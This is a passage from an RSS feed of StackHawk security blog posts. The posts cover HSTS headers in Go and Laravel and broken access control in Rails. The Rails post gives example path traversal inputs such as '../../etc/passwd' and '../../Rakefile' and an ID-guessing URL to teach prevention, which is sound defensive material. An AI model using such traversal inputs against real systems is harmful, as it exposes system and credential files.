Automation Engineer&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Solutions Architect&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Developer Advocate&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Head of Marketing&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;❤️ Give Us Some Love&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Share the goodness of developer-centric application security. We are always grateful for recommendations and referrals! We’d love for you to share StackHawk with your friends and colleagues, or &lt;a href=&quot;https://www.g2.com/products/stackhawk/reviews&quot;&gt;leave us a review on g2&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Golang HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/golang-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Golang has so many advantages that lure developers into using it as a preferred back-end programming language. Among the lot is how it&amp;#39;s perfectly suited for creating software in the cloud. The thing is, everything in the cloud requires HTTP for access, and this is where Golang HTTP Strict Transport Security (HSTS) comes into play.&lt;/p&gt;&lt;p&gt;This post explores the best ways to implement HSTS headers in Go projects. We&amp;#39;ll visit a few concepts to make a case for the effort, touching on the benefits and reasons all your Golang projects should prioritize HTTPS over plain HTTP. Thereafter, we&amp;#39;ll review a few best practices to restrict access to any Golang web applications to HTTPS.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s hit the ground with a few definitions.&lt;/p&gt;&lt;h2&gt;What Is Golang HTTP Strict Transport Security?&lt;/h2&gt;&lt;p&gt;In Golang projects, HTTP Strict Transport Security is a feature that directs traffic toward the HTTPS URL option when accessing web applications. This way, all attempts to navigate an application without transport layer certificates become impossible. This server behavior persists even when visitors have previously saved pages or bookmarked an HTTP-only version of the application.&lt;/p&gt;&lt;p&gt;Ordinarily, enforcing HTTPS traffic should be as easy as specifying a redirect strategy on the front end of any application. However, there&amp;#39;s barely anything ordinary about the security implications and threats such an implementation would expose visitors to.&lt;/p&gt;&lt;h3&gt;Threats Mitigated by HTTPS Redirects&lt;/h3&gt;&lt;p&gt;While they&amp;#39;re by no means the most elaborate strategy against attacks, HSTS headers provide a layer of security on the following fronts:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Intranetwork attacks:&lt;/b&gt; When hosting applications on a local network (even in the cloud), an HSTS policy ensures all devices access the single truth version of your applications. In the event of an intruder trying to redirect traffic through their own access point, the&lt;a href=&quot;https://sslrenewals.com/blog/why-is-ssl-important-benefits-of-using-ssl-certificate&quot;&gt; &lt;u&gt;certificates and encryption invoked with HTTPS&lt;/u&gt;&lt;/a&gt; should make it difficult to eavesdrop.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;False redirects:&lt;/b&gt; A solid HSTS implementation cancels all chances of hackers routing your traffic to a different domain. This usually happens when developers rely on&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/302&quot;&gt; &lt;u&gt;HTTP 302 redirect&lt;/u&gt;&lt;/a&gt; strategies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Other vulnerabilities:&lt;/b&gt; Not having an HTTPS redirect set for your Golang application is a gateway for other attacks. Despite your good Golang development ethics, it will spell doom for all your efforts.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;Threats HSTS Won&amp;#39;t Save You From&lt;/h3&gt;&lt;p&gt;Knowing what good an HSTS header does shouldn&amp;#39;t leave you satisfied with the level of security implied. There are many areas that still need other headers and hackproofing through better coding practices. That said, the most elaborate HTTPS redirect strategy will not cover the following threat points:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Phishing:&lt;/b&gt; Hackers can peddle a fake version of your website through clever domain naming schemes. They may even include HSTS redirects on that clone to boost visitor confidence. It&amp;#39;s up to you to keep your traffic alert to parodies.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Injection-type attacks:&lt;/b&gt; This applies if all you have behind the scenes is an HSTS specification. The resulting URL can still inject system commands and SQL to the server, causing a wide variety of damage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unsafe programming habits:&lt;/b&gt; Having your application traffic encrypted is not a one-size-fits-all security fix. Regular code audits and tests are necessary to ensure overall security.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Now that you have a balanced view of the concept of HSTS in Golang, let&amp;#39;s explore how it actually works with an implementation example.&lt;/p&gt;&lt;h2&gt;Golang HSTS Implementation&lt;/h2&gt;&lt;p&gt;Assuming you&amp;#39;re creating Go projects with no frameworks embellishing your code, the best way to set HTTPS redirect headers is through a configuration file. You can then reference the now global variables in the header section of your main application file.&lt;/p&gt;&lt;p&gt;Before we break this process down, here&amp;#39;s a look at the anatomy of an HSTS header in Go.&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In this example, we have declared the boolean value of &lt;b&gt;HTTPSRedirect&lt;/b&gt; in the configuration file pointed to by &lt;b&gt;c&lt;/b&gt;. The second function implants the values in &lt;b&gt;c &lt;/b&gt;onto &lt;b&gt;w &lt;/b&gt;(the web accessible file) and joins it with the request made to the browser in the &lt;b&gt;http.Redirect&lt;/b&gt; function.&lt;/p&gt;&lt;h3&gt;Components of an HSTS Header&lt;/h3&gt;&lt;p&gt;The redirect sequence in the code example above is not the prettiest, nor is it sufficient to cover all HSTS variables. As such, your configuration file should also include the following declarations:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HSTS:&lt;/b&gt; A boolean that turns the entire redirect sequence on and off.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HSTSMaxAge:&lt;/b&gt; A time frame during which traffic will redirect to HTTPS after the initial visit to the application. We usually denote this value in seconds, although you can explicitly make it an hour unit variable.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HSTSIncludeSubdomains:&lt;/b&gt; If left undefined or set to false, then only your top domain redirects to HTTPS. This leaves out any subdomains you may create in the future. Ideally, you want this variable set to true for full coverage.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;HSTSPreload:&lt;/b&gt; The preload variable tells the browser to register your domain across a network of browsers such that even first-time visitors are redirected to HTTPS.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The resulting declaration in the config file would look like this.&lt;/p&gt;&lt;p&gt;&lt;i&gt;Golang HTTP Strict Transport Security configuration file.&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Note: As alluded to in the section on threats covered (and not), other headers also appear in the same configuration file. All active Golang &lt;b&gt;XSSProtection&lt;/b&gt;,&lt;a href=&quot;https://www.stackhawk.com/blog/golang-content-security-policy-guide-what-it-is-and-how-to-enable-it/&quot;&gt; &lt;u&gt;&lt;b&gt;CSP&lt;/b&gt;&lt;/u&gt;&lt;/a&gt;, and other headers not in the screenshot make for a better security outfit. But I digress.&lt;/p&gt;&lt;p&gt;Coming back to HSTS, the values above are applied in the header as follows:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;With the &lt;b&gt;HSTS&lt;/b&gt;, &lt;b&gt;HSTSMaxAge&lt;/b&gt;, &lt;b&gt;HSTSIncludeSubdomains&lt;/b&gt;, and &lt;b&gt;HSTSPreload&lt;/b&gt; values defined, the function that calls them up would look like this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;After this function, the &lt;b&gt;Strict-Transport-Security&lt;/b&gt; header will have global effects on your Golang application.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re using either of the Go frameworks to build your application, implementation of the HSTS header would be as easy as adding&lt;a href=&quot;https://pkg.go.dev/search?q=hsts&amp;m=&quot;&gt; &lt;u&gt;packages&lt;/u&gt;&lt;/a&gt; that apply to your header requirements. This can be as simple as running a &lt;b&gt;&amp;#39;generate&amp;#39;&lt;/b&gt; command on your project when using the&lt;a href=&quot;https://github.com/StalkR/hsts&quot;&gt; &lt;u&gt;StalkR repository&lt;/u&gt;&lt;/a&gt; implementation.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion &amp;amp; a Couple Golang HSTS Header Best Practices&lt;/h2&gt;&lt;p&gt;HTTP Strict Transport Security headers are a must for your Golang web applications. While you don&amp;#39;t get &amp;quot;out of this world&amp;quot; levels of security, when combined with other headers, HSTS makes for a strong first line of defense against attacks.&lt;/p&gt;&lt;p&gt;While you get on your way to creating new HSTS headers, keep in mind that the max-time duration you set renders them inactive once lapsed. This is the only upkeep required for the header, after which you may want to force user devices to clear the cache and load fresh instances of your web application.&lt;/p&gt;&lt;p&gt;When your application scales, it&amp;#39;s best to have a mechanism that checks the efficacy of your HSTS headers before the public takes your app for a spin. For this, tools like&lt;a href=&quot;https://www.stackhawk.com/product/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; come in handy.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Taurai Mutimutema. &lt;/i&gt;&lt;a href=&quot;https://twitter.com/rusiqe&quot;&gt;&lt;u&gt;&lt;i&gt;Taurai &lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt;is a systems analyst with a knack for writing, which was probably sparked by the need to document technical processes during code and implementation sessions. He enjoys learning new technology and talks about tech even more than he writes.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Rails Broken Access Control Guide: Examples and Prevention]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/rails-broken-access-control-guide-examples-and-prevention</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Have you ever wondered how it is that systems and platforms handle user access and permission while preventing attackers and bad actors from having access to the server file system and restricted files? Well, that is a great question. Understanding the fundamentals of access control and authorization is a great asset for any developer. For those who work on sensitive applications that require a high level of security, or even the enthusiast who wants to learn a bit more, we&amp;#39;ll be addressing your questions.&lt;/p&gt;&lt;p&gt;Our goal with this article is to explore the subject of access control and how to ensure adequate security for web applications:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Firstly, we will briefly address what broken access control is.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Secondly, we will illustrate what broken access control looks like and what vulnerabilities it targets.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Finally, we will offer some mitigating solutions for said vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;This article is specifically targeted at the Ruby on Rails stack and its technologies. If you&amp;#39;re not a Ruby developer or haven&amp;#39;t yet familiarized yourself with this development stack, please follow this&lt;a href=&quot;https://guides.rubyonrails.org/security.html&quot;&gt; &lt;u&gt;link&lt;/u&gt;&lt;/a&gt; and put some hours into it as we&amp;#39;ll be talking about some concepts for which you might need some background with Rails websites to grasp. This isn&amp;#39;t mandatory since many of the explanations in this article could apply to any technology, but it&amp;#39;ll help you understand better.&lt;/p&gt;&lt;p&gt;Now, let&amp;#39;s get into it.&lt;/p&gt;&lt;h2&gt;Defining Access Control&lt;/h2&gt;&lt;p&gt;If you&amp;#39;ve ever interacted with a login page, then you&amp;#39;ve already interacted with some form of access control. As its name states, access control is a set of policies and mechanisms that a system implements and enforces to regulate and control who has access to what. It&amp;#39;s commonly known as authorization. Typically, once the server has determined who you are through some login or authentication mechanism, it then grants or restricts what functions and resources you have access to in the system. Additionally, this also serves as the backbone to track user interactions and monitor resources.&lt;/p&gt;&lt;p&gt;At face value, this explanation may convey a level of simplicity to the logistics of implementing access control. Yet, adequately implementing a robust and secure access control system is deceptively complex and tricky. An application&amp;#39;s access control, and a web application in specific, is intimately bound to its architecture and the function it provides. More importantly, users of most platforms commonly fall into more than one role, which means the restriction complexity can increase exponentially.&lt;/p&gt;&lt;p&gt;Developing proper access control in our applications can be a real challenge, even for experienced engineers. Depending on the scale and complexity of the system, an adequate solution could be implementing a simple authentication solution, a third-party library, or even customizing a combination of both. In Ruby on Rails, there are popular and robust solutions like Devise, Cancan, and AuthLogic, to name a few.&lt;/p&gt;&lt;h2&gt;What Is Broken Access Control?&lt;/h2&gt;&lt;p&gt;All right—so now that we understand what access control is in our system, we can talk about how attackers try to exploit vulnerabilities to breach it.&lt;/p&gt;&lt;p&gt;Broken access control essentially encompasses a set of exploits or vulnerabilities that are known and can represent a threat to our system&amp;#39;s access control. Although many of the flaws aren&amp;#39;t difficult to exploit when overlooked, we can address them relatively easily. Additionally, the consequences of a breach in Access Control can be disastrous since attackers can read, change, or even delete content and take over our system. Therefore, we must fix these issues adequately.&lt;/p&gt;&lt;h2&gt;Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;So, what are examples of access control vulnerabilities we can see out there? Well, there are many. But we&amp;#39;ll focus here on insecure IDs, path traversal, file permission, and client caching.&lt;/p&gt;&lt;p&gt;Let&amp;#39;s explore them and see what makes them work.&lt;/p&gt;&lt;h3&gt;Insecure IDs&amp;#39; Vulnerability&lt;/h3&gt;&lt;p&gt;If your application uses a database to store data, then chances are you use IDs to identify these resources. Most websites nowadays use some form of ID or index to quickly and efficiently handle data. And as we&amp;#39;ve already mentioned above, some resources aren&amp;#39;t for every user to access. So, if your website allows ID inputting and these are easy to guess, then you might have a problem.&lt;/p&gt;&lt;p&gt;Think of it like this. Imagine we have a profile page section where we display the user profile. Then, the following URL retrieves the user profile:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/profile?id=123&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Good, right? Well, not really.&lt;/p&gt;&lt;p&gt;If I manually change the number in the query string and there&amp;#39;s no active Access Control implemented to validate who&amp;#39;s requesting what, I can have access to any profiles. &lt;/p&gt;&lt;p&gt;Whoops!&lt;/p&gt;&lt;h3&gt;Path Traversal Vulnerability&lt;/h3&gt;&lt;p&gt;Path traversal involves navigating the directory tree of a file system. As you might imagine, this means that systems allowing the user to access resources in the server file system are vulnerable. This situation is particularly critical if we don&amp;#39;t validate the path.&lt;/p&gt;&lt;p&gt;One example would be something like the following:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=user.png&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;In this case, a bad actor could change &lt;b&gt;user.png&lt;/b&gt; to something like &lt;b&gt;../../etc/passwd&lt;/b&gt; and attempt to gain access to the application&amp;#39;s secrets. Yikes!&lt;/p&gt;&lt;h3&gt;File Permission Vulnerability&lt;/h3&gt;&lt;p&gt;Expanding on the previous vulnerability just explored, a file permission vulnerability relates to the server&amp;#39;s file system permission mechanism. A server application contains many crucial configuration files and resources that shouldn&amp;#39;t be modifiable and, in most cases, should be non-readable and non-executable to users. However, if proper configuration policies are lacking, an attacker can target these files, taking over the entire platform.&lt;/p&gt;&lt;p&gt;To illustrate this, here&amp;#39;s an example of an attempt to access a file that should be unreadable:&lt;/p&gt;&lt;p&gt;&lt;code&gt;https://www.mywebsite.com/photos?file=../../Rakefile&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h3&gt;Client Caching Vulnerability&lt;/h3&gt;&lt;p&gt;The chances are that some of your clients share their computers with someone else. That&amp;#39;s a factor that we, as developers, can&amp;#39;t control, and it&amp;#39;s this specific factor that breeds the client caching vulnerability. Client caching is tough to address because it involves a bad actor taking advantage of the session credentials or the cached pages or data in the browser already present in an authenticated client.&lt;/p&gt;&lt;p&gt;Of course, this also means that an attacker needs to have physical access to the victim&amp;#39;s computer. Still, once this happens, a sufficiently determined attacker can wreak havoc on the user data.&lt;/p&gt;&lt;h2&gt;Addressing Broken Access Control in Rails&lt;/h2&gt;&lt;p&gt;The process of addressing access control vulnerabilities can be very simple or incredibly complex, depending on the complexity of your platform, architecture, and data sensitivity.&lt;/p&gt;&lt;p&gt;For Ruby on Rails, the first step is to implement proper authentication mechanisms. For the most part, implementing a robust and proven solution like the &lt;a href=&quot;https://github.com/heartcombo/devise&quot;&gt;&lt;u&gt;Devise&lt;/u&gt;&lt;/a&gt; gem would get you 80% there. However, for those who need more customization, Devise also offers extensive customizability and additional add-ons like Devise-Security, which extends the library&amp;#39;s functionality.&lt;/p&gt;&lt;p&gt;A straightforward implementation of Devise involves adding the gem to your Gemfile.&lt;/p&gt;&lt;p&gt;&lt;code&gt;# User authentication
gem &amp;#39;devise&amp;#39;, &amp;#39;~&amp;gt; 4.7.1&amp;#39;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Next, run the generator:&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ rails generate devise:install&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command will generate an initializer file where you can configure all the settings you need.&lt;/p&gt;&lt;p&gt;Next, you need to input the following command:&lt;/p&gt;&lt;p&gt;&lt;code&gt;$ rails generate devise MODEL&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This command will generate the model file representing the user in your application and to which Devise will apply all the authentication policies. Note that you must change the MODEL with the name of your user model file.&lt;/p&gt;&lt;p&gt;Finally, you can run the following command, which will then apply the changes in the database, adding all the fields necessary on the tables:&lt;/p&gt;&lt;p&gt;&lt;code&gt;rails db:migrate&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Congratulations! You&amp;#39;ve just implemented a solid authentication solution. &lt;/p&gt;&lt;p&gt;There are some additional configurations and tweaks needed to implement, but for that, we&amp;#39;ll guide you to the Devise&lt;a href=&quot;https://github.com/heartcombo/devise/wiki&quot;&gt; &lt;u&gt;wiki&lt;/u&gt;&lt;/a&gt; page, which has an extensive guide on how to make the gem your own.&lt;/p&gt;&lt;h2&gt;Tackling Broken Access Control Vulnerabilities&lt;/h2&gt;&lt;p&gt;Now, to address the specific vulnerabilities mentioned before, we need to make a few changes. Do keep in mind that Rails already goes to great lengths to mitigate most of the vulnerabilities in access control. We will, however, illustrate some ways you can complement the built-in security measures in Devise and Rails.&lt;/p&gt;&lt;h3&gt;Insecure IDs&lt;/h3&gt;&lt;p&gt;We must address this issue early on in our system&amp;#39;s development. IDs shouldn&amp;#39;t be easily guessable. You must develop your system so that sensitive IDs are both obfuscated and unique. This solution is easily achievable by implementing GUIDs as IDs. &lt;/p&gt;&lt;p&gt;However, this isn&amp;#39;t enough to protect our systems —not nearly. A robust solution would involve session validation of every request and proper access control of who is requesting what. We can achieve this by using Devise&amp;#39;s already defined &lt;b&gt;current_user&lt;/b&gt; variable. This variable contains the logged user object and can be used to determine access control.&lt;/p&gt;&lt;p&gt;Additionally, If you have configured roles for the users (Admin), then the &lt;b&gt;current_user&lt;/b&gt; will allow you to confirm the privileges of that user by just using the &lt;b&gt;.admin?&lt;/b&gt; method.&lt;/p&gt;&lt;h3&gt;Path Traversal&lt;/h3&gt;&lt;p&gt;Mitigating path traversal attacks involves implementing proper validation on user input and restrictions on the mobility of the server directory and access control.&lt;/p&gt;&lt;p&gt;Fortunately, you don&amp;#39;t need to do much at all to implement proper Path Traversal policies. However, make sure that if you enable functionalities that require accessing and modifying files in the server, like file upload, you implement robust and tested gems like&lt;a href=&quot;https://github.com/thoughtbot/paperclip&quot;&gt; &lt;u&gt;Paperclip&lt;/u&gt;&lt;/a&gt; or &lt;a href=&quot;https://github.com/carrierwaveuploader/carrierwave&quot;&gt;&lt;u&gt;CarrierWave&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;For more on this, check our article focused on Path Traversal on Rails &lt;a href=&quot;https://www.stackhawk.com/blog/rails-path-traversal-guide-examples-and-prevention/&quot;&gt;&lt;u&gt;here&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;File Permission&lt;/h3&gt;&lt;p&gt;Tackling File Permission vulnerabilities requires extensive knowledge of server configuration and maintenance. However, unless you need to tinker with server permissions, no changes are necessary. As before, Rails does most of the work for you. Nevertheless, consult with your server manager if you need peace of mind.&lt;/p&gt;&lt;h3&gt;Client Caching&lt;/h3&gt;&lt;p&gt;In terms of client caching, the most effective solution is also the most simple. Don&amp;#39;t store sensitive user information on the client.&lt;/p&gt;&lt;p&gt;if you must venture into sophisticated features, implement proper HTML meta tags and async validations to confirm authority on display.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Conclusion&lt;/h2&gt;&lt;p&gt;As you can see, achieving robust access control policies can be an overwhelming task. This is especially true as our platforms grow in size and complexity. Nevertheless, we must do what we can to close as many gaps as possible. It has been&lt;a href=&quot;https://sdtimes.com/security/broken-access-control-is-now-the-highest-vulnerability-in-owasp-top-10-2021/&quot;&gt; &lt;u&gt;reported&lt;/u&gt;&lt;/a&gt; that broken access control is now the highest vulnerability in OWASP Top 10 2021. We must rise to the task and bring creative and sustainable solutions to these problems.&lt;/p&gt;&lt;p&gt;&lt;i&gt;This post was written by Juan Reyes. &lt;/i&gt;&lt;a href=&quot;https://www.ajourneyforwisdom.com/&quot;&gt;&lt;u&gt;&lt;i&gt;Juan&lt;/i&gt;&lt;/u&gt;&lt;/a&gt;&lt;i&gt; is an engineer by profession and a dreamer by heart who crossed the seas to reach Japan following the promise of opportunity and challenge. While trying to find himself and build a meaningful life in the east, Juan borrows wisdom from his experiences as an entrepreneur, artist, hustler, father figure, husband, and friend to start writing about passion, meaning, self-development, leadership, relationships, and mental health. His many years of struggle and self-discovery have inspired him and drive to embark on a journey for wisdom.&lt;/i&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Laravel HTTP Strict Transport Security Guide: What It Is and How to Enable It]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/laravel-http-strict-transport-security-guide-what-it-is-and-how-to-enable-it</guid><category><![CDATA[Vulnerabilities and Remediation]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;Once upon a time, most websites were unencrypted. Website operators limited HTTPS connections to high-value login and payment forms. Today, transport layer security (TLS/SSL) is the default mode for most websites. The internet is a safer place now. As the next evolutionary step, the HTTP strict transport security (HSTS) standard ensures that HTTPS isn&amp;#39;t just possible but that unencrypted HTTP connections become impossible. This article covers configuring HSTS in Laravel applications. We&amp;#39;ll discuss good reasons for HSTS and the prerequisites first. Then, we&amp;#39;ll look at the necessary steps and two options for enabling it.&lt;/p&gt;&lt;h2&gt;What Is HSTS?&lt;/h2&gt;&lt;blockquote&gt;&lt;p&gt;HTTP strict transport security is a method for websites to &lt;b&gt;announce that they only accept encrypted connections&lt;/b&gt; and will continue to do so. &lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Browsers that understand this announcement will force encrypted connections (https://) to the site even when a user tries to access the site without encryption (http://). That announcement comes in the form of the &amp;quot;Strict-Transport-Security&amp;quot; header.&lt;/p&gt;&lt;p&gt;Since the header is visible only on the first request, you reach the best security only afterward. As an additional mechanism, modern browsers come with a preloaded list of HSTS-enabled domains to enforce security from the first request.&lt;/p&gt;&lt;h2&gt;Why Is HSTS Necessary?&lt;/h2&gt;&lt;p&gt;Imagine you&amp;#39;re browsing the web through an untrusted connection, such as a public Wi-Fi access point. A hacker may have modified the router to run a man-in-the-middle attack. This attack replaces a website with a spoofed version that could grab your login session or other personal data. For example, they might insert a script that sends confidential information to a server they control. A man-in-the-middle who can rewrite HTTP responses can do this even when the website implements&lt;a href=&quot;https://www.stackhawk.com/blog/laravel-xss/&quot;&gt; &lt;u&gt;protection from cross-site-scripting (XSS)&lt;/u&gt;&lt;/a&gt;. Since the hacker probably won&amp;#39;t have a valid certificate for the website, they need to downgrade your connection from HTTPS to HTTP to intercept your interactions. HSTS prevents that.&lt;/p&gt;&lt;p&gt;Of course, this only works if you previously visited the site from a trusted network or if it&amp;#39;s on the preloaded list, so your browser knows that it&amp;#39;s HTTPS-only.&lt;/p&gt;&lt;h2&gt;Should You Use HSTS?&lt;/h2&gt;&lt;p&gt;There are a few unusual scenarios where your domain has to accept unencrypted connections either now or in the future. Those may not be for your main website, but subdomains for internal purposes like a sandbox or Intranet website, or if you have a legacy API for IoT devices that don&amp;#39;t speak HTTPS. In all other cases, you should enable HSTS for additional security. Handling a lot of valuable personal data like payment information strengthens the case for HSTS even more.&lt;/p&gt;&lt;h2&gt;What Are the Prerequisites For HSTS?&lt;/h2&gt;&lt;p&gt;The obvious prerequisite is that your website supports HTTPS connections already. It means that you&amp;#39;ve created a key pair and acquired a certificate from a trustworthy certificate authority.&lt;a href=&quot;https://letsencrypt.org/&quot;&gt; &lt;u&gt;Let&amp;#39;s Encrypt&lt;/u&gt;&lt;/a&gt; offers such certificates for free. You also need to configure your webserver (nginx, Apache, IIS, etc.) to enable TLS. I&amp;#39;m assuming that you&amp;#39;ve already done this, so I won&amp;#39;t cover the TLS setup in this article. If you aren&amp;#39;t there yet, you can find many guides, such as&lt;a href=&quot;https://www.nginx.com/blog/using-free-ssltls-certificates-from-lets-encrypt-with-nginx/&quot;&gt; &lt;u&gt;this official article from nginx on configuring Let&amp;#39;s Encrypt with their webserver&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;If your website uses the root domain and multiple subdomains (e.g., &amp;quot;example.com&amp;quot;, &amp;quot;www.example.com&amp;quot;, &amp;quot;somethingelse.example.com&amp;quot;), you need a certificate for each or a wildcard certificate covering all subdomains.&lt;/p&gt;&lt;p&gt;After confirming that your website works with HTTPS, you also need to consider how you&amp;#39;ll handle unencrypted HTTP connections from now on. One option would be to reject them, but that stops users from finding your website if they enter it with http:// or without any prefix and their browser assumes http:// instead of https://. The better option is to ensure that every insecure request redirects to a secure request.&lt;/p&gt;&lt;h2&gt;How Can I Implement HTTP to HTTPS Redirects?&lt;/h2&gt;&lt;p&gt;One way to do this is to configure your webserver to issue a redirect. If that&amp;#39;s your preferred way, check the documentation for your webserver and edit the configuration files accordingly.&lt;/p&gt;&lt;p&gt;You can also do this in Laravel with custom middleware. Create the new file &lt;b&gt;app/Http/Middleware/HttpRedirect.php&lt;/b&gt; with the following content:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Note that the redirect uses the HTTP 301 status code. It indicates that this is a permanent redirect, which is in line with HSTS. Remember, we want no exceptions from HTTPS-only. To ensure that the middleware runs on every request, add it to the &lt;b&gt;$middleware&lt;/b&gt; array in &lt;b&gt;app/Http/Kernel.php&lt;/b&gt;:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;I took the example&lt;a href=&quot;https://www.jhanley.com/laravel-redirecting-http-to-https/&quot;&gt; &lt;u&gt;from this article, which you can refer to if you need further information on creating a custom Laravel middleware&lt;/u&gt;&lt;/a&gt;.&lt;/p&gt;&lt;h2&gt;How Can I Configure HSTS?&lt;/h2&gt;&lt;p&gt;After meeting the prerequisites, you can finally add &amp;quot;Strict-Transport-Security&amp;quot; to your responses. As mentioned in the beginning, I will show you two ways of doing that. First, however, let&amp;#39;s discuss the configuration options:&lt;/p&gt;&lt;p&gt;With &lt;b&gt;max-age&lt;/b&gt;, you can specify how long browsers should remember that the site is HTTPS-only. Since there&amp;#39;s no going back to unencrypted HTTP during this time, you should test the setup with a few minutes at first. Later, you can increase this time. Most websites set this to one or two years.&lt;/p&gt;&lt;p&gt;With &lt;b&gt;includeSubdomains&lt;/b&gt;, you can specify that the directive is valid for subdomains as well. That means that if you set the header for &amp;quot;example.com&amp;quot;, the browser will consider requests to &amp;quot;www.example.com&amp;quot; (or &amp;quot;somethingelse.example.com&amp;quot;) HTTPS-only as well.&lt;/p&gt;&lt;p&gt;With &lt;b&gt;preload&lt;/b&gt;, you can specify that browsers may include your domain in their preloaded list of HTTPS-only host names.&lt;/p&gt;&lt;h2&gt;Adding the HSTS Header With Custom Middleware&lt;/h2&gt;&lt;p&gt;You can create custom middleware to add the &amp;quot;Strict-Transport-Security&amp;quot; header to every request, similar to the HTTP-to-HTTPS redirect middleware we saw earlier. If you want to take this route, create the new file &lt;b&gt;app/Http/Middleware/HSTS.php&lt;/b&gt; with the following content:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;In the example, we set the &lt;b&gt;max-age&lt;/b&gt; to 31,536,000 seconds, which is equivalent to one year. As I mentioned before, you should probably start setting this to 300 seconds (or 5 minutes) for testing purposes first. We also added the &lt;b&gt;includeSubdomains&lt;/b&gt; option. Once again, to ensure that the middleware runs on every request, add it to the &lt;b&gt;$middleware&lt;/b&gt; array in &lt;b&gt;app/Http/Kernel.php&lt;/b&gt;:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;h2&gt;Using the Secure Headers Library&lt;/h2&gt;&lt;p&gt;There&amp;#39;s a third-party library that supports HSTS and several other security-related HTTP headers that could be interesting or relevant for your Laravel website. It can be an alternative option to custom middleware, especially when you&amp;#39;re interested in these other security headers as well.&lt;/p&gt;&lt;p&gt;To install the library, navigate to your Laravel project directory and enter the following two commands in your console:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;Next, add it to the &lt;b&gt;$middleware&lt;/b&gt; array in &lt;b&gt;app/Http/Kernel.php&lt;/b&gt; like 